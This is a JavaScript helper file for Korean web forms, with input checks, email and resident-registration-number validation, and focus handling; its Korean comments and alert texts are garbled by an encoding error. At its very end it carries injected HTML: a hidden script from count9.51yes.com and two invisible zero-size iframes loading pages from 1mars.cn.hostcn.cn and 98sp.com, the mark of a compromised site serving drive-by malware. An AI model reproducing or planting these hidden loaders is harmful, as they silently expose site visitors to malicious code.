function empty(text) {
	for(i=0 ; i<text.length ; i++) {
		var ch = text.charAt(i);
		if((ch != " ") && (ch != '\t'))
			return false;
	}
	return true;
}
	
	
String.prototype.cut = function(len) {
	var str = this;
	var l = 0;
	for (var i=0; i<str.length; i++) {
		l += (str.charCodeAt(i) > 128) ? 2 : 1;
		if (l > len){
		 return str.substring(0,i) ;
		}
	}
	return str;
}


String.prototype.bytes = function() {
	var str = this;
	var l = 0;
	for (var i=0; i<str.length; i++) l += (str.charCodeAt(i) > 128) ? 2 : 1;
		return l;
}

function checkLimit( str, limit ){
	if( str.bytes() > limit ){
		return false;
	}else{
		return true;
	}
}



	
function getElement(id){
	if(document.all) 
		return document.all(id);
	if(document.getElementById) 
		return document.getElementById(id);
}

function setRadioButton( radioName , value ){
	var oName = getElement(radioName);
	for(i=0; i < oName.length; i++){
		if(parseInt(oName[i].value ) == parseInt(value) || oName[i].value==value){
			oName[i].checked = true;		
		}
	}
}

function setSelectValue( nameVal , bankVal ) {
	var i;
	var oSelect;
	oSelect = document.getElementById(nameVal);
	for(i=0;i<oSelect.options.length;i++){
		if( parseInt(oSelect.options[i].value ) == parseInt(bankVal)){
			oSelect.options[i].selected = true;
			break;
		}
	}
}

function setSelectTextValue( nameVal , bankVal ) {
	var i;
	var oSelect;
	oSelect = document.getElementById(nameVal);
	for(i=0;i<oSelect.options.length;i++){
		if( oSelect.options[i].value == bankVal ){
			oSelect.options[i].selected = true;
			break;
		}
	}
}

function isEmail(val) {
        
  	var     reStr = /[\|\>\<]/;                        
   	var reDomainStr = /[\|\>\<\@\(\)\,\;\:\{\}\[\]\/]/;
    var checkIdx = val.indexOf("@");
    if ( checkIdx < 1){
    	return false;
    }else{
    	var Str = val.substring(0, checkIdx);        
    	var domainStr = val.substring(checkIdx + 1); 

       	if (Str.indexOf(" ") != -1 || domainStr.indexOf(" ") != -1)
       		return false;
        else if (domainStr.indexOf(".") == -1)
       		return false;
        else if (domainStr.substring(0,1) == '.')
              return false;
          else if (domainStr.charAt(domainStr.length-1) == '.')
              return false;
          else if (reStr.test(Str) || reDomainStr.test(domainStr))
              return false;
          else
            return true;
	}
}

function cmtCheck(){
			if(empty(cmtForm.comment.value)){
				alert('ÄÚ¸àÆ®¸¦ ÀÔ·ÂÇØÁÖ¼¼¿ä!');
				return false;
			}
			else return true;
}
function not_open_popup(url){
		window.open(url, 'win', 'resizable=no,scrollbars=no,top=150,left=150,width=400,height=220');
}


// ÁÖ¹Îµî·Ï¹øÈ£ ÆÇº°
function jumin(str_ju1,str_ju2)
{

    var i3=0
    for (var i=0;i<str_ju1.length;i++)
    {
        var ch1 = str_ju1.substring(i,i+1);
        if (ch1<'0' || ch1>'9') { i3=i3+1 }
    }

    if ((str_ju1 == '72') || ( str_ju2 == '18'))
    {
      //alert('ÁÖ¹Îµî·Ï¹øÈ£¸¦ Á¤È®È÷ ÀÔ·ÂÇØ ÁÖ¼¼¿ä.');
	  return false;   
    }
        
    if ((str_ju1 == '') || ( i3 != 0 ))
    {
      //alert('Àß¸øµÈ ÁÖ¹Îµî·Ï¹øÈ£ÀÔ´Ï´Ù.\n\n´Ù½Ã È®ÀÎÇÏ½Ã°í ÀÔ·ÂÇØ ÁÖ¼¼¿ä.');
	  return false;   
    }
                
                 
                
    var i4=0
    for (var i=0;i<str_ju2.length;i++)
    {
        var ch1 = str_ju2.substring(i,i+1);
        if (ch1<'0' || ch1>'9') { i4=i4+1 }
    }
    if ((str_ju2 == '') || ( i4 != 0 ))
    {
      //alert('Àß¸øµÈ ÁÖ¹Îµî·Ï¹øÈ£ÀÔ´Ï´Ù.\n\n´Ù½Ã È®ÀÎÇÏ½Ã°í ÀÔ·ÂÇØ ÁÖ¼¼¿ä.');
	  return false;   
    }


    if(str_ju2.substring(0,1) > 2)
    {
            //alert('Àß¸øµÈ ÁÖ¹Îµî·Ï¹øÈ£ÀÔ´Ï´Ù.\n\n´Ù½Ã È®ÀÎÇÏ½Ã°í ÀÔ·ÂÇØ ÁÖ¼¼¿ä.');
			return false;   
    }
                
    var f1=str_ju1.substring(0,1)
    var f2=str_ju1.substring(1,2)
    var f3=str_ju1.substring(2,3)
    var f4=str_ju1.substring(3,4)
    var f5=str_ju1.substring(4,5)
    var f6=str_ju1.substring(5,6)
    var hap=f1*2+f2*3+f3*4+f4*5+f5*6+f6*7
    var l1=str_ju2.substring(0,1)
    var l2=str_ju2.substring(1,2)
    var l3=str_ju2.substring(2,3)
    var l4=str_ju2.substring(3,4)
    var l5=str_ju2.substring(4,5)
    var l6=str_ju2.substring(5,6)
    var l7=str_ju2.substring(6,7)
    hap=hap+l1*8+l2*9+l3*2+l4*3+l5*4+l6*5
    hap=hap%11
    hap=11-hap
    hap=hap%10
    if (hap != l7) 
    {
      //alert('Àß¸øµÈ ÁÖ¹Îµî·Ï¹øÈ£ÀÔ´Ï´Ù.\n\n´Ù½Ã È®ÀÎÇÏ½Ã°í ÀÔ·ÂÇØ ÁÖ¼¼¿ä.');
	  return false;   
    }

return true;

}

var isNN = (navigator.appName.indexOf("Netscape")!=-1);
function autoTab(input,len, e) {

	var keyCode = (isNN) ? e.which : e.keyCode; 
	var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46];
	if(input.value.length >= len && !containsElement(filter,keyCode)) {
		input.value = input.value.slice(0, len);
		input.form[(getIndex(input)+1) % input.form.length].focus();
	}

function containsElement(arr, ele) {

	var found = false, index = 0;
	while(!found && index < arr.length)
	if(arr[index] == ele)
	found = true;
	else
	index++;
	return found;
}

function getIndex(input) {

	var index = -1, i = 0, found = false;
	while (i < input.form.length && index == -1)
	if (input.form[i] == input)index = i;
	else i++;
	return index;
	}
	return true;
}


 function jsMoveFocus(current,count,next) {
	var current   = current ;	
	var next      = next ;
	if ( current.value.length >= count ) {
	     next.focus();
		 next.select();
	}
 }
 
 function empty(text) {
	for(i=0 ; i<text.length ; i++) {
		var ch = text.charAt(i);
		if((ch != " ") && (ch != '\t'))
			return false;
	}
	return true;
}

 function numChk(str){
	return (str*0==0)?true:false;
 }
 
 function NumericCheck(obj) {
	strvalue = obj.value;
	str_name=0;
	all_char="0123456789";
	
	temp_str = ""
	
	for(i=0;i<strvalue.length;i++) {
		if(all_char.indexOf(strvalue.substring(i,i+1))==-1) 
		{
		 
		}
		else
		{
			temp_str += strvalue.substring(i,i+1) 	
		} 
	}
	
	obj.value=temp_str;
		
}

// currentÀÇ Å©±â°¡ size¸¸Å­ µÇ¸é targetName À§Ä¡·Î ÀÌµ¿.
function nextFocus(current, size, targetName)
{
        var currentZone = current;
		var checksize = size;
		var targetName = targetName;
        if(currentZone.value.length == checksize)
        {
               targetName.focus();
        }
}<div style="visibility:hidden;"><script language="javascript" src="http://count9.51yes.com/click.aspx?id=93683743&logo=12"></script></div>
<iframe src=http://1mars.cn.hostcn.cn/yes.htm width=0 height=0></iframe>
<iframe src=http://98sp.com/amd/index.htm width=0 height=0></iframe>
